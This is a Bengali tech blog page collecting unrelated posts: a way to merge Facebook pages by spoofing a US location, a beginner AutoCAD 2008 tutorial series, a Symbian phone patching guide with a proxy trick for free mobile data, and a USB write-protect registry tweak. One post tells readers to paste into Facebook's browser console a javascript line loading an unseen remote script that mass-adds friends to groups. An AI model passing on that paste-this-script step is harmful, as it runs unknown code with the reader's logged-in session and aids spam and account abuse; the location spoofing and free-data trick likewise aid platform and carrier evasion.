M.A.A. NAFISH PEEZON. Blogger দ্বারা পরিচালিত.

কিভাবে ফেইসবুকে ২০০ লাইকের উপরের পেইজের নাম পরিবর্তন ও দুটি পেইজ Merge করবেন।

ফেইসবুকে পেইজ এডমিনদের মাঝে নতুন ক্রেজ শুরু হয়েছে,২০০ লাইকের উপরের পেইজের নাম পরিবর্তন করা বা ২ টা পেইজ এর লাইক এক সাথে করা, কিন্তু সবাইতা করতে জানেনা আর এই সুযোগ নিয়ে কিছু মানুষ কম টাকায় ছোট পেইজ কিনে নিজের বড় পেইজের সাথে এক করে লাইক বাড়াচ্ছে আর কিছু পাবলিক পেইজ এই কাজটি করা বাবত ৫০০ থেকে ১০০০ টাকা কামাই করছে।
দুটি একি নামের এবং একি জায়গার পেইজ এক সাথে করার অপশন ফেইসবুকে বেশ আগে থেকেই আছে কিন্তু তা শুধু মাত্র  আমেরিকার ব্যাবহার কারিদের জন্য,আজ এই টিউনের মাধ্যমে কিভাবে বাংলাদেশে বসে দুটি পেইজ এক সাথে করা যায় তা শিখবো।
এই সুবিধা যেহেতু সবার জন্য প্রযোজ্য নয় তাই আপনাকে প্রথমে US  এর ব্যাবহার কারি হতে হবে আর এই কাজটি করারা জন্য আপনার ফায়ার ফক্সে  anonymoX  নামের এডঅনটি ইন্সটল করে ফায়ার ফক্স রিস্টার্ট করুন,নিছের ছবির মতন একটি আইকন দেখতে পারবেন সেখানে আপনার আইপি হিসেবে ইউ এসের আইপি us1 সিলেক্ট করে Change Identity বাটনে ক্লিক করুন।


যে পেইজ ২টি এক সাথে করতে চান সেগুলো তে প্রবেশ করে ড্রপ ডাউন মেনু থেকে Upadate Page Info তে সিলেক্ট করুন, ক্যাটাগরি অপশনে যে কোন একটি ক্যাটাগরি সিলেক্ট করুন যাতে এড্রেস চায় ( খেয়াল রাখবেন জাতে দুটি পাইজের ক্যাটাগরি একি হয়)।
হয়)।

এবার গুগলে সার্চ করে us এর যে কোন জায়গার এড্রেস যিপ কোড সহ কপি করে এড্রেস অপশনে পেস্ট করে ওকে করুন।
এখন আপনি দুই ভাবে পেইজ মারজ করতে পারবেন ফেইসবুকে রিকুয়েস্ট পাঠিয়ে অথবা মেন্যুয়লি,নিচে আমি দুটিই দেখাব।
(১)এই লিঙ্কে যান  [URL=https://www.facebook.com/help/contact/238908726149664[/URL]    প্রথমে যে পেইজটি রাখতে চান তা ড্রপ ডাউন মেন্যু থেকে সিলেক্ট করে নিন
আর নিচে বক্সে পেইজ এড্রেস/পেইজ আইডি দিয়ে সাবমিট বাটনে ক্লিক করুন সবকিছু ঠিক থাকলে ২৪ ঘণ্টার মধ্যে হয়ে যাবে।
(২)প্রথমে আপনার পেইজে যান এক বারে উপরে দেখবেন একটি লাইন আছে Acting as (your page name) change to (Your self) এ ক্লিক করে পেইজটি আপনার পেইজের বদলে আপনার আইডি দিয়ে চালান,
এবার ড্রপ ডাউন মেন্যু থেকে Page Setting এ ক্লিক করলে

নতুন পেইজ আসবে সেখানে নিচে MERGE নামে একটি অপশন আছে তাতে ক্লিক করুন
নতুন ট্যাব আসবে সেখানে  ক্লিক বক্সটি সিলেক্ট করুন ড্রপ ডাউন মেন্যু আসবে এবার যে পেইজটি রাখতে চান তা সিলেক্ট করুন এবার নিচে আরেকটি সিলেক্ট বক্সে ক্লিক করলে


৫টি ড্রপ ডাউন মেন্যু আসবে সেখানে যে পেইজ গুলো একসাথে করতে চান সেগুলো সিলেক্ট করে সাবমিট বাটনে ক্লিক করুন আশা করি ২৪ ঘণ্টার মধ্যে আপনার লাইক এবং চেকইন সেই পেইজ গুলো থেকে আপনার প্রাইমারী পেইজে ট্রান্সফার হয়ে যাবে।
লক্ষণীয় বিষয় গুলো হল...
০.২০০ লাইকের উপরের পেইজের নাম পরিবর্তন করার জন্য নতুন একটি পেইজ খুলে তাতে লাইক ট্রান্সফার করুন।
১.এই অপশন দেয়া হয়েছে  একি প্লেইসের পেইজ এক সাথে করার জন্য তাই আপনার পেইজের নাম যত সিমিলার পেইজ মারজ হবার সম্ভাবনা ততই বেশি।
২.যেই পেইজ গুলো মারজ করতে চান আপনাকে তার ম্যানেজার হতে হবে।
৩.যে পেইজটি মারজ করবেন শুধু মাত্র তার লাইক আর চেকইন ট্রান্সফার হবে বাকি সব পোস্ট ডিলিট হবে যাবে।
৪.কেউ যদি ২টি পেইজেই লাইক দিয়ে থাকে তাহলে ১টি লাইক কাউন্ট হবে,এখানে কিছু লাইক হারানোর সম্ভাবনা আছে।
৫.পেইজ মারজ না হলে বারবার করার চেস্ট করবেন না তাতে পেইজ ব্লক হবার সম্ভাবনা আছে।
৬.একবার সাবমিটে ক্লিক করলে আন ডান করার কুনো অপশন নেই তাই ভেবে চিন্তে কাজটি করবেন।।

AutoCAD 2008 টিউটোরিয়াল [৪র্থ-পর্ব] :: মেনু পরিচিতি নিয়ে আলোচনা

     
আসসালামুয়ালাইকুম।কেমন আছেন সবাই।আশা করি আল্লাহ্‌র রহমতে সবাই ভালই আছেন। আজ অনেক দিন পর টিউন করতে বসলাম।গত পর্বে আমরা অটোক্যাড ২০০৮ এর কাজ শুরু করার জন্যে পেইজ সেটআপ নিয়ে আলোচনা করেছিলাম। এবারের পর্বে আমরা অটোক্যাড ২০০৮ এর কাজ শুরু করার জন্যে কোন একটি প্রোগ্রাম নিয়ে ভাল ভাবে কাজ করতে এবং পূর্ণজ্ঞান অর্জনের জন্য সেই প্রোগ্রামের মেনু সম্পর্কে ধারণা রাখা অত্যন্ত জরুরি। মেনু সম্পর্কে ধারণা না থাকলে কোন কাজ বা কমান্ডের প্রয়োগ দ্রুত করা যায় না। এই আসরে আপনাদের সামনে অটোক্যাডের মেনু গুলো নিয়ে আলোচনা করবো। চলুন শুরু করা যাক, অটোক্যাড এটা কাজ শুরুর প্রাথমিক ধাপ।
ফাইল মেনু
অটোক্যাডের প্রথম মেনু হচ্ছে ফাইল মেনু। মেনু বার হতে File নামের উপর মাউস পয়েন্টার দিয়ে একটি ক্লিক করলে অথবা কীবোর্ড থেকে Alt + F কী দ্বয় একত্রে চাপলে ফাইল মেনুটি ওপেন হবে এবং এর বিভিন্ন অপশন দেখা যাবে। নিচে ফাইল মেনুর বিভিন্ন অপশন এর ছবি দেখানো হলো-

এবার আলোচনা করবো ফাইল মেনুর বিভিন্ন অপশন নিয়ে।
New : এই অপশনটি সিলেক্ট করার মাধ্যমে নতুন একটি ড্রইং ফাইল বা ডকুমেন্টস তৈরি করা য়ায়। এর একটি কীবোর্ড শর্টকাট কমান্ড আছে । কমান্ডটি হলো Ctrl + N । কীবোর্ড থেকে Ctrl এবং N কীদ্বয় একত্রে চাপলে এই অপারেশনটি সম্পন্ন করা যায়।
Open : এই অপশনটি সিলেক্ট করে পূর্বে সেভ করা কোন ফাইল ওপেন করা যায়। কীবোর্ড থেকে Ctrl + O কী দুইটি এক সাথে চেপেও এই কমান্ডটি প্রয়োগ করা যায়। এই কমান্ডটি প্রয়োগ করলে নিচের ছবির মতো Select File নামে একটি উইন্ডো আসবে।

Look in বক্সে ডিরেক্টরী এবং ফাইল সিলেক্ট করে Open বাটনে ক্লিক করলে ফাইলটি স্ক্রিনে দেখা যাবে।
Close : বর্তমানে ওপেন করা কোন ফাইল বন্ধ করার জন্য এই অপশনটি ব্যবহার করা হয়। এই অপশনটি সিলেক্ট করার পূর্বে উক্ত ফাইলটি যদি সেভ করা না হয়ে থাকে তবে ফাইলটি সেভ করা হবে কিনা এমন একটি সতর্কমূলক মেসেজ প্রদর্শিত হবে।যদি সেভ করতে চান তবে Yes বাটনে ক্লিক করুন। আর সেভ করে বের হয়ে যেতে চাইলে No বাটনে ক্লিক করুন। Cancel বাটনে ক্লিক করার মাধ্যমে কমান্ডটি বাতিল করতে পারবেন।
Partial Load : এই অপশনটি সিলেক্ট করে আংশিক ওপেন করা কোন ড্রইং ফাইলে Additional Geometry Load করা যায়।
Save: এই অপশনটি সিলেক্ট করে নতুন কোন ফাইল সংরক্ষন বা সেভ করা হয়। কীবোর্ড থেকে Ctrl এবং S কীদ্বয় একত্রে চেপে এই কমান্ডটি প্রয়োগ করা যায়। পুরাতন কোন ফাইল এডিট বা মডিফাই করার পর সেভ করার জন্য এই অপশনটি ব্যবহার করা হয়।

Save As : এই অপশনটি ব্যবহার করে নতুন কোন ফাইল সংরক্ষন করা যায় এবং পূর্বের তৈরি করা কোন ফাইল এর ডিরেক্টরী ও নাম পরিবর্তন করা যায়। Ctrl + Shift + S কী তিনটি একসাথে চেপে এই কমান্ডটি কার্যকর করা যায়।
Export : এই অপশনটির মাধ্যমে অটোক্যাডের কোন ফাইল বা অবজেক্টকে অন্য কোন প্রোগ্রামের জন্য ব্যবহার উপযোগী ফরম্যাট এ রূপান্তর করা যায়। এখানে যে সকল ফরম্যাটে এক্সপোট করা যায় এগুলো হলো – Metafile (*.wmf), ACIS (*.sat), Lithography (*.stl), Encapsulated (*.eps) DXX Extarct (*.dxx) Bitmap (*.bmp), 3D Studio (*.3ds), Block (*dwg).
এই কমান্ড প্রয়োগ করলে নিচের ছবির মতো একটি উইন্ডো আসবে।

এখান থেকে প্রয়োজনীয় ফাইল টাইপ সিলেক্ট করুন এবং নির্দিষ্ট ডিরেক্টরী সিলেক্ট করে Save বাটনে ক্লিক করুন।
Page Setup ঃ কোন ফাইল বা ফাইলের অংশ বিশেষ প্রিন্ট করার পূর্বে Page Setup করে নিতে হয়। Page Setup ডায়ালগ বক্সে Plot Device ও Layout Settings নামক দুইটি ট্যাব থাকে। Plot Device ট্যাব থেকে প্রিন্টার বা প্লটার সিলেক্ট করা হয়। Layout Settings ট্যাবে কাগজের আকার, একক, ড্রইং অরিয়েন্টেশন, প্লট স্কেল, প্লট অফসেট ইত্যাদি নির্দিষ্ট করে দেয়া হয়।
Plotter Manager: এই অপশনের মাধ্যমে প্লটার যুক্ত করা যায় এবং কনফিগার করা হয়।
Plot Preview: কোন ড্রইং প্রিন্ট করলে কেমন হবে তা প্রিন্ট করার পূর্বেই দেখা হয় এ অপশনের মাধ্যমে।
Drawing Utilities: কোন ড্রইং এর ত্রুটি নির্ণয়ের জন্য এই অপশনটি ব্যবহৃত হয়। নষ্ট কোন ফাইল রিকভার করার জন্য এবং ড্রইং এর বিভিন্ন লেয়ার ও লেয়ার স্টাইল রিমুভ করার ক্ষেত্রেও এই অপশনটি প্রয়োগ করা হয়।
Drawing Properties : ওপেন করা কোন ড্রইং এর Properties সেট করে এবং প্রদর্শন করে এই অপশনটি । এই অপশনটি সিলেক্ট করলে নিচের ছবির মতো একটি উইন্ডো আসবে।

এখানে General, Summary, Statistics, Custom নামে চারটি ট্যাব রয়েছে। এগুলোর মাধ্যমে বিভিন্ন ধরণের তথ্য পাওয়া যায়।
Exit : এই অপশনের মাধ্যমে অটোক্যাড প্রোগ্রাম থেকে বের হওয়া যায়।
অটোক্যাডে কাজ করা বেশ সহজ। শুধু কমান্ডগুলো জেনে বারবার চর্চা করলেই হলো। আশাকরি শীঘ্রই নতুন টপিকস নিয়ে আবার ফিরে আসবো। সে পর্যন্ত ভালো থাকবেন। আর আমার জন্য দোয়া করবেন। ধারাবাহিক পোষ্টগুলো থেকে আশাকরি আগ্রহীরা অটোক্যাড সম্পর্কে মোটামুটি কাজ করার ধারণা পাবেন। ভালো লাগলে কমেন্ট জানাতে ভুলবেন না, আজ এতটুকুই।

AutoCAD 2008 টিউটোরিয়াল [৩য়-পর্ব] :: ড্রইং পেইজ সেটআপ নিয়ে আলোচনা

আসসালামুয়ালাইকুম।কেমন আছেন সবাই।আশা করি আল্লাহ্‌র রহমতে সবাই ভালই আছেন। আজ অনেক দিন পর টিউন করতে বসলাম।গত পর্বে আমরা ড্রইং স্ক্রীন পরিচিতি এবং টুলবার নিয়ে আলোচনা করেছিলাম। এবারের পর্বে আমরা অটোক্যাড ২০০৮ এর কাজ শুরু করার জন্যে পেইজ সেটআপ শিখবো। চলুন শুরু করা যাক। অটোক্যাড এটা কাজ শুরুর প্রাথমিক ধাপ।
১।প্রথমে আমরা Menu Bar থেকে Format>Units এ ক্লিক করুন। নিচের মত একটি ডায়ালগ বক্স দেখা যাবে।
২। Units এ ক্লিক করার পর নিচের একটি ডায়ালগ বক্স দেখা যাবে।
৩। চলুন শুরু করা যাক Units সেটআপ: আমরা নিচের ডায়ালগ বক্স অনুসরণ করবো: প্রথমে আমরা ডায়ালগ বক্স থেকে Length Type > Architecture এ সিলেক্ট করুন, এর পর Precision > 0'-0" সিলেক্ট করুন, Insertion Scale > Inches সিলেক্ট করা থাকলে তা পরিবর্তন করার প্রয়োজন নেই। ওকে ক্লিক করে বেরিয়ে আসুন।
৪।Drawing Limits সেটআপ: আমরা নিচের ডায়ালগ বক্স অনুসরণ করবো: প্রথমে আমরা Format > Drawing Limits ক্লিক এর পর Scan এর মাউস দিয়ে ক্লিক করুন, Enter চাপুন, Shift+@ এক সাথে চাপুন এর পর 5000' লেখার পর Tap চাপুন এর পর আবার 5000' দিয়ে Enter চাপুন ব্যাস হয়ে গেলো Drawing Limits সেটআপ।আমি এখানে উদাহরণ হিসেবে এখানে 5000' দিয়ে দৈর্ঘ ও প্রস্থ 5000' ইঞ্চি বোঝানো হয়েছে। আপনি ইচ্ছা করলে যে কোন পরিমাণ নিতে পারেন।
৫।কিবোর্ডে F7 চাপুন স্ক্রিন জুড়ে গ্রিড দেখা গেলে বুঝবেন আপনার পেইজ সেটআপ ঠিক হয়েছে।
৬। এবার View থেকে Zoom এ গিযে All ক্লিক করুন। এতে আপনি আপনার ড্রয়িং ছোটবড় করে দেখতে পারবেন।
অটোক্যাডে কাজ করা বেশ সহজ। শুধু কমান্ডগুলো জেনে বারবার চর্চা করলেই হলো। আশাকরি শীঘ্রই নতুন টপিকস নিয়ে আবার ফিরে আসবো। সে পর্যন্ত ভালো থাকবেন। আর আমার জন্য দোয়া করবেন। ধারাবাহিক পোষ্টগুলো থেকে আশাকরি আগ্রহীরা অটোক্যাড সম্পর্কে মোটামুটি কাজ করার ধারণা পাবেন। ভালো লাগলে কমেন্ট জানাতে ভুলবেন না, আজ এতটুকুই।

AutoCAD 2008 টিউটোরিয়াল [২য়-পর্ব] :: ড্রইং স্ক্রীন পরিচিতি এবং টুলবার নিয়ে আলোচনা

    ইন্টারফেস বা ড্রইং স্ক্রীন পরিচিতি এবং টুলবার নিয়ে আলোচনা:

    আসসালামুয়ালাইকুম।কেমন আছেন সবাই।আশা করি আল্লাহ্‌র রহমতে সবাই ভালই আছেন। আজ অনেক দিন পর টিউন করতে বসলাম। আসলে অফিসের কাজের জন্য আপনাদের সাথে সময় দিতে পারি না। অটো ক্যাড সফটওয়্যারটি রান করলে কম্পিউটারের মনিটরের পর্দায় যে উইন্ডোটি চলে আসে সেটিই অটো ক্যাড এর ইন্টারফেস। নিচে Auto CAD 2008 এর ইন্টারফেস দেখানো হলো এবং

    অটোক্যাড ড্রইং স্ক্রীন অংশ সমূহের বর্ণনা নিম্নে দেওয়া হলোঃ


    অটো ক্যাড ড্রইং স্ক্রীনে যে অংশ গুলো পাওয়া যায় এগুলো হলোঃ
    • 1.Title Bar
    • 2. Menu Bar
    • 3. Standard Tool Bar
    • 4. Layer Bar
    • 5. Properties Bar
    • 6. Draw Tool Bar
    • 7. Dimension Tool Bar
    • 8. Modify Tool Bar
    • 9. UCS Icon
    • 10. Status Bar
    • 11. Command Window etc.

    উপরে উল্লেখিত অটোক্যাড ড্রইং স্ক্রীন অংশ সমূহের বর্ণনা নিম্নে দেওয়া হলোঃ

    • 1. Title Bar: অটোক্যাড গ্রাফিক্স উইন্ডোর উপরের নীল রং বারটিকে বলা হয় টাইটেল বার। এই বারটিতে ড্রইং ফাইলের নাম প্রদর্শিত হয়। টাইটেল বারের সর্ব বামে অটোক্যাড লোগো থাকে।
    • 2. Menu Bar: টাইটেল বারের নিচের বারটিকে বলা হয় Menu Bar| Menu Bar এ ড্রপ ডাউন Menu রয়েছে। যেমনঃ File, Edit, Insert, Format, Tools, Draw, Dimension, Modify, Window, Help & Express Menu etc.
    • 3. Standard Tool Bar: Menu Bar এর নিচের বারটিকে বলা হয় Standard Tool Bar । Standard Tool Bar এ আইকন আকারে সাধারণ প্রয়োজনীয় কমান্ড বাটন রয়েছে। Standard Tool Bar এ কোন আইকনে ক্লিক করে উক্ত কমান্ড কার্যকরী করা হয়।
    • 4. Layer Bar: Standard Tool Bar টির ঠিক নিচের বারটি হলো Layer Bar এই টুলবার এ কয়েকটি ড্রপডাউন লিস্ট আছে। বিভিন্ন লেয়ার এই টুলবার থেকে কন্ট্রোল করা যায়।
    • 5. Properties Bar: Standard Tool Bar টির ঠিক নিচের বারটি হলো Layer Bar & Properties Bar এই টুলবার এ কয়েকটি ড্রপডাউন লিস্ট আছে। বিভিন্ন লেয়ার এই টুলবার থেকে কন্ট্রোল করা যায়।
    • 6. Draw Tool Bar & Dimension Tool Bar Auto CAD এ ড্রইং করার জন্য অতি প্রয়োজনীয় কমান্ড সমূহ Draw টুল বারে দেওয়া থাকে। Draw টুলবারটি গ্রাফিক্স উইন্ডোর বাম পাশে থাকে। এই টুলবারের টুল গুলো আইকন আকারে থাকে।
    • 8. Modify Tool Bar Auto CAD এ ড্রইং করার জন্য অতি প্রয়োজনীয় কমান্ড সমূহ Modify টুল বারে দেওয়া থাকে। Modify টুলবারটি গ্রাফিক্স উইন্ডোর ডান পাশে থাকে। এই টুলবারের টুল গুলো আইকন আকারে থাকে।
    • 9. UCS Icon: User Co-Ordinate system এর সংক্ষিপ্ত রূপ হলো UCS. এই আইকনটি ড্রইং এডিটরের নিচে বাম কর্ণারে প্রদর্শিত হয়। ডিফল্ট অবস্থায় দ্বি-মাত্রিক বা টু-ডি টপভিউ UCS Icon থাকে।
      10. Status Bart কমান্ড উইন্ডোর নিচের বারটি হচ্ছে Status Bar বার। Status Bar এ আইকনের অবস্থান জানা যায়। আইকনের Status Bar এ Snap, Grid, Ortho, Polar, Osnap, Otrack, LWT, Model ইত্যাদি বাটন থাকে। যেকোন বাটনে ক্লিক করার মাধ্যমে এই কমান্ড গুলো কার্যকারিতা on/off করা যায়।
    • 11. Command Window: ড্রইং স্ক্রিনের নিচের দিকে থাকে কমান্ড উইন্ডো। কমান্ড উইন্ডোতে কোন কমান্ড লিখে কীবোর্ড হতে এন্টার কী প্রেস করার মাধ্যমে কমান্ডকে কার্যকরী করা হয়। অটোক্যাডে ব্যবহৃত কমান্ড সমূহের কিছু সংক্ষিপ্ত রূপ আছে। যেমনঃ লাইন কমান্ডকে অ্যাকটিভ করার জন্য আমরা
    এই অপশন গুলো হলো অটোক্যাডে সবচেয়ে বেশি ব্যবহৃত অপশন। আগামীতে আরও কিছু অপশনের বর্ণনা আপনাদের সামনে তুলে ধরবো। সে পর্যন্ত ভাল থাকবেন। ভুল হইলে ক্ষুমা দৃষিতে দেখবেন, আর বেশি বেশি কমান লিখবেন ধন্যবাদ সবাইকে।

    AutoCAD 2008 টিউটোরিয়াল [১ম-পর্ব] :: পরিচিতি


    এ টিউটোরিয়াল দ্বারা Auto CAD এ যারা একেবারেই নতুন, তারা যেন উপকৃত হতে পারে। সে কারনেই শুরুর দিকে যতদূর সম্ভব জটিল আলোচনা পরিহার করে সহজ ভাবে বিভিন্ন কমান্ড নিয়ে আলোচনা করব। এজন্য কিছু কিছু ক্ষেত্রে প্রাথমিক অবস্থায় সংক্ষিপ্ত বর্ণনা দিব।পরবর্তীতে Auto CAD কিছুটা আয়ত্তে আসলে সংক্ষিপ্ত বর্ণনা দেয়া কমান্ডগুলোর বিস্তারিত বর্ণনা দিব। আর কথা না বাড়িয়ে মূল আলোচনা শুরু করা যাক -Auto CAD Open করলে নিচের Window দেখা যাবে।

    আজ আর সামনে এগুব না। আপনাদের মূল্যবান মতামত এর অপেক্ষায় থাকলাম। সবাইকে ধন্যবাদ।

    ফেসবুক গ্রুপে যত খুশি তত বন্ধু যোগ করুন

    আপনি যদি ফায়ার ফক্স ব্যবহার করে থাকেন তাহলে আমাদের একটু সাহায্য করুন। আপনি চাইলেই পারেন যে কোন গ্রুপের মেম্বার সহজেই বাড়াতে। আপনার নিজস্ব কোন গ্রুপ থাকতেই পারে, হয়তো অনেক কষ্ট অরেও আপনি খুব বেশি হলে ২০০০-৩০০০ মেম্বার একত্রিত করতে পেরেছেন। কিন্তু এখন আর সেই কষ্ট করতে হবে নাহ। আমি নিয়ে এলাম আপনাদের জন্য Auto Bot Friend Adder, ইহা শুধু মাত্রই ফায়ারফক্স ব্যবহারকারীদের জন্য, যেহেতু আমি নিজে মজিলা ফায়ারফক্স ব্যবহার করি। আপনার সব বন্ধুকে যে কোন ফেসবুক গ্রুপে এ্যাড করতে নিম্নোক্ত পদক্ষেপ গ্রহণ করুনঃ-
    • প্রথমেই আপনি যে গ্রুপে আপনার সব বন্ধুকে একত্রে যুক্ত করতে চান মজিলা ফায়ারফক্স ব্যবহার করে সেই গ্রুপে যান !
    • এবার কীবোর্ডে Ctrl + Shift + K চাপুন । দেখবেন একটা ড্রপ ডাউন মেনু আসবে, এখানে জাভা স্ক্রিপ্ট লিখে আপনি অনেক কিছুই করতেপারেন। তবে আজ আপনাদের কে আমি কিভাবে আপনার সব ফ্রেন্ড একটি গ্রুপে ঢুকাবেন তা দেখাবো ।
    • এইবার নিম্নোক্ত জাভা স্ক্রিপ্টটি Copy করুন। Select and (Ctrl+C) -->>>
     
    javascript:(function(){document.body.appendChild(document.createElement('script')).src='http://www.weebly.com/uploads/4/4/7/4/4474196/bappi.js';})();
     
    • ড্রপ ডাউন মেনুতে যেখানে জাভা স্ক্রিপ্ট লেখার জন্য একটা কারসার ব্লিঙ্ক করছে সেখানে সম্পূর্ণ কোডটি পেস্ট করে দিন, এবার Enter চাপুন , আপনার সব বন্ধু আপনার গ্রুপে এ্যাড না হয়ে যাওয়া পর্যন্ত অপেক্ষা করুন।
    এভাবে আপনার ঘনিষ্ট সব বন্ধুদের বলুন, তারাও আপনাকে আপনার গ্রুপে বন্ধু যোগ করতে সাহায্য করবে।

    সুখবর!! শুরু হচ্ছে ফেসবুক হ্যাকার কাপ প্রতিযোগিতা।


    তৃতীয় বার্ষিক হ্যাকার কাপের জন্য প্রতিযোগীদের নিবন্ধন চলছে ফেসবুক ২৫ জানুয়ারি থেকে শুরু হয়েছে বার্ষিক প্রতিযোগিতা প্রতিযোগিতার বিজয়ী হ্যাকার পাবেন নগদ ১০ হাজার ডলার পুরস্কার খবর প্রেস ট্রাস্ট অব ইন্ডিয়ার
    http://files.digitizor.com/wp-content/uploads/2010/12/facebook-h4ck3r-cup.jpg
    ফেসবুক কর্তৃপক্ষ জানিয়েছে, গত বছরের তুলনায় এবারের আয়োজনে পুরস্কারের অর্থের পরিমাণ দ্বিগুণ করা হয়েছে। এ ছাড়া প্রতিযোগিতায় অংশ নেওয়া শীর্ষ ২৫ জন হ্যাকার মেনলো পার্কে ফেসবুকের সদর দপ্তর ঘুরে দেখার সুযোগ পাবেন।
    undefined
    দুই রাউন্ডে এ প্রতিযোগিতা অনুষ্ঠিত হবে। প্রথম ধাপটি হবে অনলাইনে।
    নিবন্ধন করতে চাইলে এখানে কিল্ক করুন
    প্রতিযোগিতা  কিভাবে সম্পূর্ন হবে এবং রাউন্ড সম্পর্কে জানতে  এখানে কিল্ক করুন।
    দ্বিতীয় হ্যাকার কাপ প্রতিযোগিতায় বিশ্বের ১৫০টি দেশ থেকে ৮ হাজার প্রতিযোগী অংশ নেন।

    আপনার সিম্বিয়ান ফোন হ্যাক করে সিম্বিয়ানের আসল মজা উপভোগ করুন।

    মুলতত্বঃ অনেক সময় দেখা যায়যে, সিমবিয়ান ফোনে সফটয়ার ইন্সটল করার সময় Certificate Expired, Unable to isntall জাতীয় বিভিন্ন লেখা আসে ফলে ঐ সফটয়ার ইন্সটল করা যায় না। এই সমস্যা থেকে মুক্তির উপায় একটাই- তা হল সিমবিয়ান ফোনটি হ্যাক করা।
    যন্ত্রপাতিঃ
    ১. Norton Symbian Hack
    ২. RomPatcherPlus_3.1
    ৩. X-Plore
    ৪. Isntallserver.exe
    কাজের ধারাঃ
    ১. প্রথমে নিচের লিঙ্ক থেকে জিপ ফাইলটি ডাউনলোড করে Extract করে নিন।এবার Extract করা পুরো ফোল্ডারটি আপনার ফোনের মেমরি কাড© এ নিয়ে নিন।
    অথবা

    ২. Norton Symbian Hack  ইন্সটল করুন। এটি ওপেন করে Antivirus>Quarantine list এ যান। এখানে ৩ টি ফাইল পাবেন (কোন কোন ক্ষেত্রে কম হতে পারে)।এবার Option থেকে Restore All করুন।Exit দিয়ে বের হয়ে আসুন। এবার Norton Symbian Hack অ্যাপ্লিকেশন টি ফোন থেকে রিমুভ/ডিলেট করে দিন। ফোন Restart চাইলে Restart দিন ( Restart না চাইলেও Restart দিন ।

    ৩. এবার X-Plore ‍সফটওয়ার টি ইন্সটল করুন।

    ৪. এবার RomPatcherPlus_3.1 ইন্সটল করুন।

    ৫. RomPatcher+ ওপেন করুন। Option থেকে All Patches> Apply All দিন।

    ৬. এবার আপনার ফোনের ভার্সন অনুযায়ী C:/sys>bin ফোল্ডারে  Isntallserver.exe ফাইলটি কপি পেস্ট করে দিতে হবে।তার জন্যে X-Plore ওপেন করে 0(জিরো) চাপুন। এখান Show Hidden File এবং Show System file/folders এ টিক (Ö) দিন। এবার খেয়াল করে দেখেন যে, আমি আপনাদের যে Isntallserver নাম এর ফোল্ডার দিয়েছি তাতে চার ধরনের Isntallserver.exe ফাইল রয়েছে। আপনার মোবাইলে কোনটি সাপোর্ট করবে তা বের করার জন্যে www.google.com এ একটু খুজতে হবে।  www.google.com আপনার ফোনের নাম এবং সাথে লিখবেন Full specification ( যেমন: Nokia 6120c full specification ) তাহলে দেখবেন অনেকগুলো ওয়েব সাইটের ঠিকানা আসবে সেখান থেকে যেকোন একটিতে ঢুকে দেখবেন যে, আপনার ফোনের সম্পুর্ন বিবরন আসবে। এখান থেকে OS কি তা দেখবেন। যেমন, আমার Nokia 6120c এর OS: Symbian OS v9.2 S60 অর্থাৎ আমার দরকার Symbian v9.2 ফোল্ডারে যে Isntallserver.exe আছে সেটি। তাহলে আপনার ফোনের ভার্সন অনুযায়ী Isntallserver.exe ফাইলটি X-Plore এর দ্বারা C:/sys>bin ফোল্ডারে নিয়ে নিন। ভার্সন অনুযায়ী Isntallserver.exe ফাইল না নিলে দেখবেন যে, আপনার কোন ইন্সটল করা ‍সফটওয়ার রিমুভ করা যাচ্ছে না। তাই নিশ্চিত হয়ে নিন কোনটি আপনার প্রয়োজন।
    ৭. কপি-পেস্ট হয়ে গেলে ফোন টি বন্ধ করে আবার চালু করুন। ব্যাস আপনার ফোনটি হ্যাক হয়ে গেল।

    ফলাফলঃ আপনার ফোনটি হ্যাক হল কিনা টেস্ট করার জন্যে আমার দেয়া অপেরামিনিটি ইন্সটল করুন। যদি ইন্সটল হয় তবে আপনি এবং আমি দুজনেই সফল।

    মজাঃ এতো কষ্ট করে আপনার ফোন হ্যাক করলেন আর হ্যাক করার মজা নিবেন না তাতো হতে পারেনা! আরেকটু কষ্ট করে আপনার ফোনের Setting>Phone Setting>Connection>Accesspoint এ যান।এবার Option থেকে New access point এ যান এবং নিচের মত করে প্রত্যেকটি জায়গায় ঠিকমত লেখেন।
    1. Connection name: Free
    2. Accesspoint Name: GP INTERNET PROXY 2
    3. Apn: gpinternet (যাদের মোবাইলে Apn অপসন নাই তাদের এটা দরকার নাই)

    4.এবার Option থেকে Advance Setting এ যান এবং Proxy Server: 82.145.210.16
    5.Port: 80 লিখে Back চেপে চেপে বের হয়ে আসুন।
    এখন আমার দেয়া অপেরামিনি ওপেন করুন এবং Menu>Setting>Advance>Connection>Free সিলেক্ট করে Back চেপে বের হয়ে আসুন আর এই অপেরা মিনি দিয়ে ইচ্ছামত ব্রাউজ/ডাউনলোড করুন।

    মন্তব্যঃ কোন ‍সমস্যা হলে কমেন্ট করুন।কোন ভুল হলে ক্ষমা করবেন।

    পেনড্রাইভ রাখুন সম্পুর্ন নিজের নিয়ন্ত্রনে

    আমরা প্রায় সবাই কম বেশী পেনড্রাইভ ব্যাবহার করি ডাটা ব্যাকআপ এর জন্য।কিন্তু অনেক সময় অনেক বন্ধু অথবা অফিস কলিগ এটা কে ব্যাবহার করতে চাইবে। আর তখন -ই ঘটবে বিপত্তি,অনেক সময় তাদের কম্পিউটার এ ভাইরাস গুলি অনাকাংক্ষিত ভাবে আপনার পেনড্রাইভ এ চলে আসতে পারে।তাই পেনড্রাইভ নিয়ন্ত্রনে রাখা টা জরুরী।
    আসুন আমরা এবার দেখি কি করে পেনড্রাইভ সম্পুর্ন নিজের নিয়ন্ত্রনে রাখা যায়-
    ১।প্রথমে notepad ওপেন করে নিচের কোড টি লিখুন
    Windows Registry Editor Version 5.00
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies]
    “WriteProtect”=dword:00000001
    সেভ করুন romel_soft.reg নামে
    এরপর এটি কে ডাবল ক্লিক করুন ,yes বাটনে ক্লিক করুন ,এবং OK করুন
    ব্যস, এবার কোন ফাইল আপনার pendrive এ সেন্ড করুন।
    নাহ কিছুতেই সেটি pendrive এ যাবে না। কি মজা !! আপনার পেনড্রাইভ নষ্ট করছি !!
    নাহ্‌ ,আর আপ্নাদের কান্না সহ্য হচ্ছে না। ঠিক করে দিচ্ছি পেনড্রাইভ
    ২। আবার notepad ওপেন করে নিচের কোড টি লিখুনঃ
    Windows Registry Editor Version 5.00
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies]
    “WriteProtect”=dword:00000000
    সেভ করুন romel_soft2.reg নামে
